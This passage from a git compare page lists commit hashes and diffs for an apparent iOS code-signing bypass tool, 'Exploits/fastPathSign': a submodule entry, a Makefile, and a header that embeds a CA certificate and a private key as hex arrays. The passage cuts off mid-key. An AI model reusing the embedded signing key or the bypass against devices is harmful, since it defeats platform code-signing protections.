Compare commits
169 Commits
Author | SHA1 | Date | |
---|---|---|---|
![]() |
d11c04666a | ||
![]() |
1092d91b5d | ||
![]() |
8e9b3caa93 | ||
![]() |
4d8982545d | ||
![]() |
e6b5c000a9 | ||
![]() |
f7f69684ae | ||
![]() |
815145f922 | ||
![]() |
2e646919f6 | ||
![]() |
ac42b6b6c0 | ||
![]() |
976f3596d5 | ||
![]() |
75ad067562 | ||
![]() |
afd09b7838 | ||
![]() |
8ddfe1361c | ||
![]() |
c2073db982 | ||
![]() |
00887a9145 | ||
![]() |
09957974ba | ||
![]() |
3913abfd8d | ||
![]() |
600193f7b4 | ||
![]() |
11eb142d3b | ||
![]() |
ac24773858 | ||
![]() |
0bfc1179a0 | ||
![]() |
f912ffc31e | ||
![]() |
b24652afcb | ||
![]() |
5b467392e5 | ||
![]() |
1264e022c4 | ||
![]() |
f98b2a2094 | ||
![]() |
0d5b72b19d | ||
![]() |
79250bc7fb | ||
![]() |
fdc4caba03 | ||
![]() |
e4fa7ae399 | ||
![]() |
f21dfff284 | ||
![]() |
b83c53cb46 | ||
![]() |
4bfc994f70 | ||
![]() |
647f43087c | ||
![]() |
0cc5ab1978 | ||
![]() |
373c0c6add | ||
![]() |
b6579c6a09 | ||
![]() |
f5a2dfae01 | ||
![]() |
f5a90a0899 | ||
![]() |
cddfdcfed1 | ||
![]() |
713ecf43a5 | ||
![]() |
d66d45fd9a | ||
![]() |
ecbbc5ea20 | ||
![]() |
9c57ababa1 | ||
![]() |
b700590174 | ||
![]() |
9197bd1652 | ||
![]() |
913969ac8c | ||
![]() |
214f279485 | ||
![]() |
3b43facaa5 | ||
![]() |
206541d9f0 | ||
![]() |
2587c320d0 | ||
![]() |
ae32e41bad | ||
![]() |
e16fe8e1e7 | ||
![]() |
3d649c8d6f | ||
![]() |
783ab43c3e | ||
![]() |
c1090cf790 | ||
![]() |
9f9fd76310 | ||
![]() |
fa948c0646 | ||
![]() |
e157415304 | ||
![]() |
3474468189 | ||
![]() |
eed1d42792 | ||
![]() |
fb5e73e82f | ||
![]() |
28aab08dec | ||
![]() |
8dc50d7555 | ||
![]() |
f1f42778d8 | ||
![]() |
d502576e1f | ||
![]() |
afb45b110e | ||
![]() |
b136e3a292 | ||
![]() |
8cdef95733 | ||
![]() |
bbdd0fdcdd | ||
![]() |
16d4771621 | ||
![]() |
a56bf738bd | ||
![]() |
0759b7717a | ||
![]() |
6a4c67c430 | ||
![]() |
5eecb677a7 | ||
![]() |
c130a04ff5 | ||
![]() |
f57326e0a4 | ||
![]() |
2ac6bc280f | ||
![]() |
6094bc024f | ||
![]() |
c30206b57e | ||
![]() |
c1f0677c90 | ||
![]() |
4433ec2f97 | ||
![]() |
c6ce29251e | ||
![]() |
b90a540d1d | ||
![]() |
694973fda5 | ||
![]() |
252d489ba3 | ||
![]() |
9daa349a68 | ||
![]() |
d0781fb223 | ||
![]() |
e0ecb70a43 | ||
![]() |
e267749ada | ||
![]() |
5ac7448fb8 | ||
![]() |
dbaa03f8a6 | ||
![]() |
8baab5e2e2 | ||
![]() |
1c4e567247 | ||
![]() |
d028cdf979 | ||
![]() |
28066c580c | ||
![]() |
30160e5c59 | ||
![]() |
9e27e74fc9 | ||
![]() |
18612495b3 | ||
![]() |
a22414d34a | ||
![]() |
accf995dfc | ||
![]() |
1699abd9ab | ||
![]() |
6b8c3fa201 | ||
![]() |
ffbd1d8a00 | ||
![]() |
b1d7030cc6 | ||
![]() |
71cfac0fa3 | ||
![]() |
3fe3e7f241 | ||
![]() |
9abd926196 | ||
![]() |
1bd49022fa | ||
![]() |
1b26441eb6 | ||
![]() |
1bc51ad4a5 | ||
![]() |
fd2f266121 | ||
![]() |
f73642d37a | ||
![]() |
a48071b55a | ||
![]() |
c6ea42cf5a | ||
![]() |
b79c9c1ad5 | ||
![]() |
f8b003f034 | ||
![]() |
160191bd34 | ||
![]() |
33f1d47d4c | ||
![]() |
2e1cf8ffd4 | ||
![]() |
a886c887c5 | ||
![]() |
2bf1d35893 | ||
![]() |
c9421f0d99 | ||
![]() |
e0a580c44b | ||
![]() |
485fc892fc | ||
![]() |
1368357c87 | ||
![]() |
78e617e783 | ||
![]() |
17ba8fbaa7 | ||
![]() |
2c327a0083 | ||
![]() |
68abdf124b | ||
![]() |
1ebcb73375 | ||
![]() |
e672aaebd5 | ||
![]() |
3d89c079a2 | ||
![]() |
27534fb48d | ||
![]() |
739e045581 | ||
![]() |
35ced8d0ed | ||
![]() |
f14802db3e | ||
![]() |
37acedc286 | ||
![]() |
4ae6884892 | ||
![]() |
f3134ca24d | ||
![]() |
6648de9bf5 | ||
![]() |
264a9402ab | ||
![]() |
f5d7eaf017 | ||
![]() |
d6b11ab40a | ||
![]() |
b55cf18d60 | ||
![]() |
cb0a275db7 | ||
![]() |
4bc05b11b0 | ||
![]() |
ea52074779 | ||
![]() |
76efa63bec | ||
![]() |
de53f6adf6 | ||
![]() |
7ee26db4d1 | ||
![]() |
102ebc6b3b | ||
![]() |
704d3ffd45 | ||
![]() |
4db76d3ec5 | ||
![]() |
c6b513defc | ||
![]() |
3aafa51503 | ||
![]() |
d244304313 | ||
![]() |
d3305f1660 | ||
![]() |
8b41d2824e | ||
![]() |
05d70f08a9 | ||
![]() |
6eb32a5ff9 | ||
![]() |
118ece9c87 | ||
![]() |
617bc045d4 | ||
![]() |
030ab8fd58 | ||
![]() |
d432d3812a | ||
![]() |
67ec5ff14f | ||
![]() |
c572b1b84c | ||
![]() |
59eae957e9 | ||
![]() |
755d1d8724 |
3
.gitmodules
vendored
Normal file
@ -0,0 +1,3 @@
|
||||
[submodule "ChOma"]
|
||||
path = ChOma
|
||||
url = https://github.com/opa334/ChOma
|
1
ChOma
Submodule
@ -0,0 +1 @@
|
||||
Subproject commit 964023ddac2286ef8e843f90df64d44ac6a673df
|
1
Exploits/fastPathSign/.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
||||
fastPathSign
|
12
Exploits/fastPathSign/Makefile
Normal file
@ -0,0 +1,12 @@
|
||||
TARGET = fastPathSign
|
||||
|
||||
CC = clang
|
||||
|
||||
CFLAGS = -framework Foundation -framework CoreServices -framework Security -fobjc-arc $(shell pkg-config --cflags libcrypto) -I../../ChOma/src
|
||||
LDFLAGS = $(shell pkg-config --libs libcrypto)
|
||||
|
||||
$(TARGET): $(wildcard src/*.m src/*.c ../../ChOma/src/*.c)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
|
||||
|
||||
clean:
|
||||
@rm -f $(TARGET)
|
2709
Exploits/fastPathSign/src/Templates/AppStoreCodeDirectory.h
Normal file
259
Exploits/fastPathSign/src/Templates/CADetails.h
Normal file
@ -0,0 +1,259 @@
|
||||
unsigned char CACert[] = {
|
||||
0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x42, 0x45, 0x47, 0x49, 0x4e, 0x20, 0x43,
|
||||
0x45, 0x52, 0x54, 0x49, 0x46, 0x49, 0x43, 0x41, 0x54, 0x45, 0x2d, 0x2d,
|
||||
0x2d, 0x2d, 0x2d, 0x0a, 0x4d, 0x49, 0x49, 0x44, 0x6d, 0x54, 0x43, 0x43,
|
||||
0x41, 0x6f, 0x47, 0x67, 0x41, 0x77, 0x49, 0x42, 0x41, 0x67, 0x49, 0x42,
|
||||
0x41, 0x54, 0x41, 0x4e, 0x42, 0x67, 0x6b, 0x71, 0x68, 0x6b, 0x69, 0x47,
|
||||
0x39, 0x77, 0x30, 0x42, 0x41, 0x51, 0x73, 0x46, 0x41, 0x44, 0x42, 0x44,
|
||||
0x4d, 0x51, 0x73, 0x77, 0x43, 0x51, 0x59, 0x44, 0x56, 0x51, 0x51, 0x47,
|
||||
0x45, 0x77, 0x4a, 0x56, 0x55, 0x7a, 0x45, 0x30, 0x0a, 0x4d, 0x44, 0x49,
|
||||
0x47, 0x41, 0x31, 0x55, 0x45, 0x41, 0x77, 0x77, 0x72, 0x56, 0x48, 0x4a,
|
||||
0x76, 0x62, 0x47, 0x78, 0x54, 0x64, 0x47, 0x39, 0x79, 0x5a, 0x53, 0x41,
|
||||
0x79, 0x49, 0x47, 0x6c, 0x51, 0x61, 0x47, 0x39, 0x75, 0x5a, 0x53, 0x42,
|
||||
0x44, 0x5a, 0x58, 0x4a, 0x30, 0x61, 0x57, 0x5a, 0x70, 0x59, 0x32, 0x46,
|
||||
0x30, 0x61, 0x57, 0x39, 0x75, 0x49, 0x45, 0x46, 0x31, 0x64, 0x47, 0x68,
|
||||
0x76, 0x0a, 0x63, 0x6d, 0x6c, 0x30, 0x65, 0x54, 0x41, 0x65, 0x46, 0x77,
|
||||
0x30, 0x79, 0x4d, 0x7a, 0x45, 0x79, 0x4d, 0x6a, 0x59, 0x79, 0x4d, 0x7a,
|
||||
0x41, 0x30, 0x4e, 0x44, 0x46, 0x61, 0x46, 0x77, 0x30, 0x79, 0x4d, 0x7a,
|
||||
0x45, 0x79, 0x4d, 0x6a, 0x59, 0x79, 0x4d, 0x7a, 0x41, 0x30, 0x4e, 0x44,
|
||||
0x46, 0x61, 0x4d, 0x45, 0x4d, 0x78, 0x43, 0x7a, 0x41, 0x4a, 0x42, 0x67,
|
||||
0x4e, 0x56, 0x42, 0x41, 0x59, 0x54, 0x0a, 0x41, 0x6c, 0x56, 0x54, 0x4d,
|
||||
0x54, 0x51, 0x77, 0x4d, 0x67, 0x59, 0x44, 0x56, 0x51, 0x51, 0x44, 0x44,
|
||||
0x43, 0x74, 0x55, 0x63, 0x6d, 0x39, 0x73, 0x62, 0x46, 0x4e, 0x30, 0x62,
|
||||
0x33, 0x4a, 0x6c, 0x49, 0x44, 0x49, 0x67, 0x61, 0x56, 0x42, 0x6f, 0x62,
|
||||
0x32, 0x35, 0x6c, 0x49, 0x45, 0x4e, 0x6c, 0x63, 0x6e, 0x52, 0x70, 0x5a,
|
||||
0x6d, 0x6c, 0x6a, 0x59, 0x58, 0x52, 0x70, 0x62, 0x32, 0x34, 0x67, 0x0a,
|
||||
0x51, 0x58, 0x56, 0x30, 0x61, 0x47, 0x39, 0x79, 0x61, 0x58, 0x52, 0x35,
|
||||
0x4d, 0x49, 0x49, 0x42, 0x49, 0x6a, 0x41, 0x4e, 0x42, 0x67, 0x6b, 0x71,
|
||||
0x68, 0x6b, 0x69, 0x47, 0x39, 0x77, 0x30, 0x42, 0x41, 0x51, 0x45, 0x46,
|
||||
0x41, 0x41, 0x4f, 0x43, 0x41, 0x51, 0x38, 0x41, 0x4d, 0x49, 0x49, 0x42,
|
||||
0x43, 0x67, 0x4b, 0x43, 0x41, 0x51, 0x45, 0x41, 0x39, 0x72, 0x6c, 0x2f,
|
||||
0x36, 0x49, 0x6a, 0x74, 0x0a, 0x50, 0x44, 0x6d, 0x45, 0x79, 0x34, 0x31,
|
||||
0x55, 0x5a, 0x53, 0x38, 0x65, 0x58, 0x4a, 0x56, 0x75, 0x33, 0x4a, 0x52,
|
||||
0x6d, 0x31, 0x71, 0x6c, 0x34, 0x39, 0x7a, 0x75, 0x2b, 0x35, 0x2b, 0x70,
|
||||
0x73, 0x46, 0x42, 0x35, 0x56, 0x2f, 0x5a, 0x59, 0x53, 0x6a, 0x35, 0x41,
|
||||
0x61, 0x48, 0x4c, 0x42, 0x33, 0x41, 0x5a, 0x6a, 0x78, 0x37, 0x31, 0x76,
|
||||
0x49, 0x52, 0x37, 0x55, 0x72, 0x53, 0x2f, 0x4f, 0x48, 0x0a, 0x64, 0x35,
|
||||
0x45, 0x73, 0x61, 0x36, 0x67, 0x6c, 0x4d, 0x47, 0x67, 0x58, 0x36, 0x50,
|
||||
0x6b, 0x76, 0x76, 0x47, 0x6c, 0x79, 0x71, 0x44, 0x6e, 0x53, 0x4b, 0x39,
|
||||
0x71, 0x49, 0x6a, 0x38, 0x77, 0x6d, 0x77, 0x53, 0x49, 0x46, 0x52, 0x43,
|
||||
0x36, 0x76, 0x74, 0x2b, 0x59, 0x2b, 0x4f, 0x6d, 0x50, 0x5a, 0x46, 0x68,
|
||||
0x73, 0x6f, 0x73, 0x39, 0x4b, 0x42, 0x43, 0x4c, 0x72, 0x4b, 0x42, 0x4f,
|
||||
0x44, 0x53, 0x0a, 0x2f, 0x44, 0x49, 0x31, 0x6c, 0x33, 0x2f, 0x45, 0x73,
|
||||
0x7a, 0x49, 0x61, 0x61, 0x50, 0x46, 0x64, 0x79, 0x6d, 0x48, 0x49, 0x4e,
|
||||
0x76, 0x42, 0x30, 0x47, 0x32, 0x49, 0x39, 0x6e, 0x4f, 0x77, 0x67, 0x2f,
|
||||
0x49, 0x4a, 0x4a, 0x61, 0x6f, 0x61, 0x78, 0x39, 0x71, 0x30, 0x63, 0x31,
|
||||
0x58, 0x34, 0x51, 0x48, 0x6a, 0x61, 0x71, 0x35, 0x55, 0x37, 0x42, 0x70,
|
||||
0x41, 0x50, 0x6d, 0x53, 0x59, 0x50, 0x57, 0x0a, 0x59, 0x76, 0x6d, 0x43,
|
||||
0x65, 0x31, 0x30, 0x32, 0x67, 0x58, 0x48, 0x56, 0x50, 0x39, 0x6d, 0x59,
|
||||
0x39, 0x32, 0x43, 0x57, 0x6d, 0x34, 0x6b, 0x4e, 0x68, 0x6e, 0x67, 0x73,
|
||||
0x73, 0x35, 0x4c, 0x67, 0x65, 0x49, 0x4a, 0x37, 0x58, 0x41, 0x4a, 0x50,
|
||||
0x58, 0x6e, 0x56, 0x31, 0x42, 0x4b, 0x73, 0x36, 0x69, 0x7a, 0x6a, 0x76,
|
||||
0x54, 0x70, 0x6c, 0x45, 0x57, 0x77, 0x48, 0x68, 0x5a, 0x38, 0x31, 0x37,
|
||||
0x0a, 0x56, 0x72, 0x4c, 0x5a, 0x41, 0x6d, 0x53, 0x63, 0x46, 0x7a, 0x36,
|
||||
0x4e, 0x66, 0x62, 0x4f, 0x67, 0x43, 0x6c, 0x76, 0x6c, 0x43, 0x4b, 0x74,
|
||||
0x71, 0x68, 0x49, 0x34, 0x41, 0x32, 0x4e, 0x4d, 0x33, 0x67, 0x46, 0x57,
|
||||
0x46, 0x63, 0x56, 0x56, 0x44, 0x75, 0x46, 0x61, 0x73, 0x6b, 0x32, 0x2f,
|
||||
0x44, 0x45, 0x48, 0x63, 0x67, 0x78, 0x2b, 0x55, 0x47, 0x4f, 0x74, 0x61,
|
||||
0x48, 0x4a, 0x74, 0x73, 0x36, 0x0a, 0x51, 0x76, 0x69, 0x54, 0x6d, 0x39,
|
||||
0x37, 0x5a, 0x63, 0x78, 0x55, 0x67, 0x34, 0x51, 0x49, 0x44, 0x41, 0x51,
|
||||
0x41, 0x42, 0x6f, 0x34, 0x47, 0x58, 0x4d, 0x49, 0x47, 0x55, 0x4d, 0x41,
|
||||
0x38, 0x47, 0x41, 0x31, 0x55, 0x64, 0x45, 0x77, 0x45, 0x42, 0x2f, 0x77,
|
||||
0x51, 0x46, 0x4d, 0x41, 0x4d, 0x42, 0x41, 0x66, 0x38, 0x77, 0x44, 0x67,
|
||||
0x59, 0x44, 0x56, 0x52, 0x30, 0x50, 0x41, 0x51, 0x48, 0x2f, 0x0a, 0x42,
|
||||
0x41, 0x51, 0x44, 0x41, 0x67, 0x4b, 0x45, 0x4d, 0x42, 0x4d, 0x47, 0x41,
|
||||
0x31, 0x55, 0x64, 0x4a, 0x51, 0x51, 0x4d, 0x4d, 0x41, 0x6f, 0x47, 0x43,
|
||||
0x43, 0x73, 0x47, 0x41, 0x51, 0x55, 0x46, 0x42, 0x77, 0x4d, 0x44, 0x4d,
|
||||
0x42, 0x49, 0x47, 0x43, 0x53, 0x71, 0x47, 0x53, 0x49, 0x62, 0x33, 0x59,
|
||||
0x32, 0x51, 0x47, 0x46, 0x67, 0x45, 0x42, 0x2f, 0x77, 0x51, 0x43, 0x42,
|
||||
0x51, 0x41, 0x77, 0x0a, 0x45, 0x77, 0x59, 0x4b, 0x4b, 0x6f, 0x5a, 0x49,
|
||||
0x68, 0x76, 0x64, 0x6a, 0x5a, 0x41, 0x59, 0x42, 0x41, 0x77, 0x45, 0x42,
|
||||
0x2f, 0x77, 0x51, 0x43, 0x42, 0x51, 0x41, 0x77, 0x46, 0x41, 0x59, 0x4c,
|
||||
0x4b, 0x6f, 0x5a, 0x49, 0x68, 0x76, 0x64, 0x6a, 0x5a, 0x41, 0x59, 0x42,
|
||||
0x47, 0x51, 0x45, 0x42, 0x41, 0x66, 0x38, 0x45, 0x41, 0x67, 0x55, 0x41,
|
||||
0x4d, 0x42, 0x30, 0x47, 0x41, 0x31, 0x55, 0x64, 0x0a, 0x44, 0x67, 0x51,
|
||||
0x57, 0x42, 0x42, 0x54, 0x42, 0x46, 0x75, 0x62, 0x4e, 0x57, 0x64, 0x4c,
|
||||
0x6d, 0x6a, 0x5a, 0x74, 0x51, 0x78, 0x31, 0x46, 0x33, 0x70, 0x49, 0x46,
|
||||
0x6c, 0x67, 0x52, 0x53, 0x32, 0x34, 0x54, 0x41, 0x4e, 0x42, 0x67, 0x6b,
|
||||
0x71, 0x68, 0x6b, 0x69, 0x47, 0x39, 0x77, 0x30, 0x42, 0x41, 0x51, 0x73,
|
||||
0x46, 0x41, 0x41, 0x4f, 0x43, 0x41, 0x51, 0x45, 0x41, 0x4b, 0x78, 0x4d,
|
||||
0x6d, 0x0a, 0x50, 0x32, 0x41, 0x68, 0x4e, 0x4a, 0x5a, 0x55, 0x35, 0x54,
|
||||
0x49, 0x72, 0x4a, 0x71, 0x75, 0x6e, 0x6b, 0x78, 0x4d, 0x48, 0x75, 0x59,
|
||||
0x71, 0x57, 0x6c, 0x38, 0x67, 0x56, 0x67, 0x32, 0x4f, 0x64, 0x6d, 0x48,
|
||||
0x39, 0x33, 0x52, 0x49, 0x78, 0x66, 0x63, 0x32, 0x47, 0x4d, 0x4b, 0x6a,
|
||||
0x4a, 0x58, 0x4e, 0x43, 0x61, 0x37, 0x43, 0x6e, 0x4b, 0x43, 0x6c, 0x68,
|
||||
0x55, 0x4d, 0x79, 0x43, 0x6b, 0x70, 0x0a, 0x6f, 0x6f, 0x61, 0x6f, 0x76,
|
||||
0x41, 0x55, 0x66, 0x59, 0x66, 0x65, 0x6c, 0x6f, 0x61, 0x39, 0x76, 0x7a,
|
||||
0x6a, 0x72, 0x6d, 0x50, 0x6b, 0x35, 0x53, 0x4d, 0x67, 0x55, 0x4d, 0x43,
|
||||
0x73, 0x55, 0x54, 0x4b, 0x5a, 0x6f, 0x73, 0x39, 0x50, 0x58, 0x76, 0x7a,
|
||||
0x57, 0x4e, 0x56, 0x77, 0x72, 0x61, 0x6b, 0x76, 0x71, 0x39, 0x7a, 0x74,
|
||||
0x6d, 0x74, 0x30, 0x6f, 0x46, 0x39, 0x34, 0x64, 0x53, 0x64, 0x6e, 0x0a,
|
||||
0x74, 0x7a, 0x56, 0x37, 0x33, 0x54, 0x34, 0x45, 0x4d, 0x4d, 0x2f, 0x56,
|
||||
0x73, 0x33, 0x31, 0x41, 0x4b, 0x37, 0x63, 0x4a, 0x4e, 0x70, 0x46, 0x5a,
|
||||
0x34, 0x68, 0x34, 0x57, 0x5a, 0x54, 0x43, 0x49, 0x6d, 0x34, 0x6b, 0x78,
|
||||
0x33, 0x55, 0x65, 0x32, 0x47, 0x54, 0x68, 0x32, 0x61, 0x4e, 0x47, 0x4a,
|
||||
0x52, 0x50, 0x54, 0x6a, 0x78, 0x54, 0x73, 0x36, 0x76, 0x73, 0x50, 0x78,
|
||||
0x38, 0x68, 0x2b, 0x58, 0x0a, 0x6b, 0x45, 0x66, 0x44, 0x70, 0x77, 0x30,
|
||||
0x5a, 0x4c, 0x35, 0x39, 0x4a, 0x54, 0x4b, 0x6e, 0x78, 0x47, 0x6a, 0x53,
|
||||
0x72, 0x38, 0x4d, 0x41, 0x59, 0x64, 0x7a, 0x7a, 0x56, 0x31, 0x4f, 0x59,
|
||||
0x4b, 0x34, 0x45, 0x67, 0x37, 0x67, 0x52, 0x57, 0x77, 0x6d, 0x79, 0x6b,
|
||||
0x49, 0x56, 0x4f, 0x6a, 0x57, 0x45, 0x2b, 0x76, 0x71, 0x66, 0x44, 0x68,
|
||||
0x4b, 0x4e, 0x64, 0x50, 0x6f, 0x48, 0x52, 0x4b, 0x45, 0x0a, 0x6c, 0x6d,
|
||||
0x7a, 0x41, 0x46, 0x79, 0x4d, 0x34, 0x78, 0x69, 0x55, 0x67, 0x2f, 0x6b,
|
||||
0x54, 0x6a, 0x6c, 0x6d, 0x7a, 0x55, 0x6f, 0x46, 0x56, 0x50, 0x73, 0x58,
|
||||
0x46, 0x4e, 0x6b, 0x35, 0x6b, 0x42, 0x4f, 0x4d, 0x6a, 0x51, 0x61, 0x35,
|
||||
0x61, 0x49, 0x79, 0x35, 0x36, 0x32, 0x57, 0x37, 0x5a, 0x43, 0x75, 0x75,
|
||||
0x4a, 0x4f, 0x33, 0x78, 0x41, 0x59, 0x4b, 0x61, 0x61, 0x6d, 0x73, 0x63,
|
||||
0x65, 0x2f, 0x0a, 0x58, 0x78, 0x44, 0x6a, 0x6e, 0x6c, 0x75, 0x62, 0x47,
|
||||
0x70, 0x67, 0x44, 0x53, 0x6e, 0x4c, 0x67, 0x47, 0x41, 0x3d, 0x3d, 0x0a,
|
||||
0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x45, 0x4e, 0x44, 0x20, 0x43, 0x45, 0x52,
|
||||
0x54, 0x49, 0x46, 0x49, 0x43, 0x41, 0x54, 0x45, 0x2d, 0x2d, 0x2d, 0x2d,
|
||||
0x2d, 0x0a
|
||||
};
|
||||
unsigned int CACertLength = 1310;
|
||||
|
||||
unsigned char CAKey[] = {
|
||||
0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x42, 0x45, 0x47, 0x49, 0x4e, 0x20, 0x50,
|
||||
0x52, 0x49, 0x56, 0x41, 0x54, 0x45, 0x20, 0x4b, 0x45, 0x59, 0x2d, 0x2d,
|
||||
0x2d, 0x2d, 0x2d, 0x0a, 0x4d, 0x49, 0x49, 0x45, 0x76, 0x51, 0x49, 0x42,
|
||||
0x41, 0x44, 0x41, 0x4e, 0x42, 0x67, 0x6b, 0x71, 0x68, 0x6b, 0x69, 0x47,
|
||||
0x39, 0x77, 0x30, 0x42, 0x41, 0x51, 0x45, 0x46, 0x41, 0x41, 0x53, 0x43,
|
||||
0x42, 0x4b, 0x63, 0x77, 0x67, 0x67, 0x53, 0x6a, 0x41, 0x67, 0x45, 0x41,
|
||||
0x41, 0x6f, 0x49, 0x42, 0x41, 0x51, 0x44, 0x32, 0x75, 0x58, 0x2f, 0x6f,
|
||||
0x69, 0x4f, 0x30, 0x38, 0x4f, 0x59, 0x54, 0x4c, 0x0a, 0x6a, 0x56, 0x52,
|
||||
0x6c, 0x4c, 0x78, 0x35, 0x63, 0x6c, 0x57, 0x37, 0x63, 0x6c, 0x47, 0x62,
|
||||
0x57, 0x71, 0x58, 0x6a, 0x33, 0x4f, 0x37, 0x37, 0x6e, 0x36, 0x6d, 0x77,
|
||||
0x55, 0x48, 0x6c, 0x58, 0x39, 0x6c, 0x68, 0x4b, 0x50, 0x6b, 0x42, 0x6f,
|
||||
0x63, 0x73, 0x48, 0x63, 0x42, 0x6d, 0x50, 0x48, 0x76, 0x57, 0x38, 0x68,
|
||||
0x48, 0x74, 0x53, 0x74, 0x4c, 0x38, 0x34, 0x64, 0x33, 0x6b, 0x53, 0x78,
|
||||
0x72, 0x0a, 0x71, 0x43, 0x55, 0x77, 0x61, 0x42, 0x66, 0x6f, 0x2b, 0x53,
|
||||
0x2b, 0x38, 0x61, 0x58, 0x4b, 0x6f, 0x4f, 0x64, 0x49, 0x72, 0x32, 0x6f,
|
||||
0x69, 0x50, 0x7a, 0x43, 0x62, 0x42, 0x49, 0x67, 0x56, 0x45, 0x4c, 0x71,
|
||||
0x2b, 0x33, 0x35, 0x6a, 0x34, 0x36, 0x59, 0x39, 0x6b, 0x57, 0x47, 0x79,
|
||||
0x69, 0x7a, 0x30, 0x6f, 0x45, 0x49, 0x75, 0x73, 0x6f, 0x45, 0x34, 0x4e,
|
||||
0x4c, 0x38, 0x4d, 0x6a, 0x57, 0x58, 0x0a, 0x66, 0x38, 0x53, 0x7a, 0x4d,
|
||||
0x68, 0x70, 0x6f, 0x38, 0x56, 0x33, 0x4b, 0x59, 0x63, 0x67, 0x32, 0x38,
|
||||
0x48, 0x51, 0x62, 0x59, 0x6a, 0x32, 0x63, 0x37, 0x43, 0x44, 0x38, 0x67,
|
||||
0x6b, 0x6c, 0x71, 0x68, 0x72, 0x48, 0x32, 0x72, 0x52, 0x7a, 0x56, 0x66,
|
||||
0x68, 0x41, 0x65, 0x4e, 0x71, 0x72, 0x6c, 0x54, 0x73, 0x47, 0x6b, 0x41,
|
||||
0x2b, 0x5a, 0x4a, 0x67, 0x39, 0x5a, 0x69, 0x2b, 0x59, 0x4a, 0x37, 0x0a,
|
||||
0x58, 0x54, 0x61, 0x42, 0x63, 0x64, 0x55, 0x2f, 0x32, 0x5a, 0x6a, 0x33,
|
||||
0x59, 0x4a, 0x61, 0x62, 0x69, 0x51, 0x32, 0x47, 0x65, 0x43, 0x79, 0x7a,
|
||||
0x6b, 0x75, 0x42, 0x34, 0x67, 0x6e, 0x74, 0x63, 0x41, 0x6b, 0x39, 0x65,
|
||||
0x64, 0x58, 0x55, 0x45, 0x71, 0x7a, 0x71, 0x4c, 0x4f, 0x4f, 0x39, 0x4f,
|
||||
0x6d, 0x55, 0x52, 0x62, 0x41, 0x65, 0x46, 0x6e, 0x7a, 0x58, 0x74, 0x57,
|
||||
0x73, 0x74, 0x6b, 0x43, 0x0a, 0x5a, 0x4a, 0x77, 0x58, 0x50, 0x6f, 0x31,
|
||||
0x39, 0x73, 0x36, 0x41, 0x4b, 0x57, 0x2b, 0x55, 0x49, 0x71, 0x32, 0x71,
|
||||
0x45, 0x6a, 0x67, 0x44, 0x59, 0x30, 0x7a, 0x65, 0x41, 0x56, 0x59, 0x56,
|
||||
0x78, 0x56, 0x55, 0x4f, 0x34, 0x56, 0x71, 0x79, 0x54, 0x62, 0x38, 0x4d,
|
||||
0x51, 0x64, 0x79, 0x44, 0x48, 0x35, 0x51, 0x59, 0x36, 0x31, 0x6f, 0x63,
|
||||
0x6d, 0x32, 0x7a, 0x70, 0x43, 0x2b, 0x4a, 0x4f, 0x62, 0x0a, 0x33, 0x74,
|
||||
0x6c, 0x7a, 0x46, 0x53, 0x44, 0x68, 0x41, 0x67, 0x4d, 0x42, 0x41, 0x41,
|
||||
0x45, 0x43, 0x67, 0x67, 0x45, 0x41, 0x41, 0x65, 0x58, 0x78, 0x52, 0x6e,
|
||||
0x53, 0x42, 0x2f, 0x49, 0x42, 0x35, 0x36, 0x59, 0x76, 0x68, 0x4f, 0x54,
|
||||
0x42, 0x78, 0x74, 0x61, 0x4d, 0x30, 0x7a, 0x37, 0x32, 0x30, 0x72, 0x54,
|
||||
0x68, 0x76, 0x59, 0x73, 0x6e, 0x51, 0x36, 0x78, 0x6c, 0x74, 0x4a, 0x71,
|
||||
0x49, 0x5a, 0x0a, 0x66, 0x64, 0x53, 0x52, 0x47, 0x4d, 0x32, 0x61, 0x54,
|
||||
0x56, 0x50, 0x6b, 0x58, 0x51, 0x44, 0x51, 0x64, 0x50, 0x4f, 0x30, 0x47,
|
||||
0x71, 0x7a, 0x68, 0x72, 0x2f, 0x31, 0x51, 0x45, 0x71, 0x6a, 0x31, 0x54,
|
||||
0x6b, 0x42, 0x63, 0x56, 0x61, 0x4d, 0x5a, 0x34, 0x72, 0x34, 0x43, 0x7a,
|
||||
0x6e, 0x71, 0x53, 0x56, 0x6a, 0x6e, 0x77, 0x61, 0x48, 0x76, 0x6e, 0x57,
|
||||
0x4d, 0x47, 0x67, 0x6e, 0x31, 0x51, 0x56, 0x0a, 0x35, 0x62, 0x6c, 0x39,
|
||||
0x47, 0x71, 0x74, 0x69, 0x32, 0x58, 0x32, 0x33, 0x32, 0x34, 0x4d, 0x6d,
|
||||
0x79, 0x75, 0x77, 0x69, 0x31, 0x2f, 0x4b, 0x52, 0x74, 0x41, 0x51, 0x58,
|
||||
0x72, 0x48, 0x62, 0x39, 0x6a, 0x59, 0x42, 0x76, 0x4c, 0x73, 0x53, 0x6a,
|
||||
0x45, 0x6c, 0x46, 0x50, 0x31, 0x43, 0x4d, 0x67, 0x70, 0x47, 0x39, 0x51,
|
||||
0x2b, 0x64, 0x35, 0x56, 0x69, 0x48, 0x54, 0x69, 0x76, 0x37, 0x57, 0x55,
|
||||
0x0a, 0x4b, 0x56, 0x77, 0x55, 0x64, 0x62, 0x67, 0x67, 0x6a, 0x50, 0x56,
|
||||
0x66, 0x6e, 0x44, 0x6b, 0x43, 0x70, 0x6c, 0x68, 0x74, 0x5a, 0x6b, 0x56,
|
||||
0x56, 0x6d, 0x43, 0x53, 0x47, 0x63, 0x76, 0x32, 0x74, 0x5a, 0x73, 0x39,
|
||||
0x77, 0x6a, 0x41, 0x62, 0x61, 0x31, 0x49, 0x74, 0x6e, 0x76, 0x35, 0x74,
|
||||
0x30, 0x6e, 0x4e, 0x51, 0x34, 0x37, 0x74, 0x63, 0x4a, 0x4e, 0x74, 0x71,
|
||||
0x48, 0x35, 0x42, 0x4f, 0x6a, 0x0a, 0x32, 0x66, 0x2b, 0x75, 0x2b, 0x6e,
|
||||
0x35, 0x44, 0x51, 0x31, 0x33, 0x46, 0x4a, 0x74, 0x4b, 0x70, 0x37, 0x33,
|
||||
0x73, 0x6a, 0x4a, 0x4c, 0x77, 0x54, 0x7a, 0x4a, 0x43, 0x4c, 0x6a, 0x46,
|
||||
0x4f, 0x4b, 0x68, 0x66, 0x5a, 0x6d, 0x46, 0x51, 0x6f, 0x4f, 0x70, 0x54,
|
||||
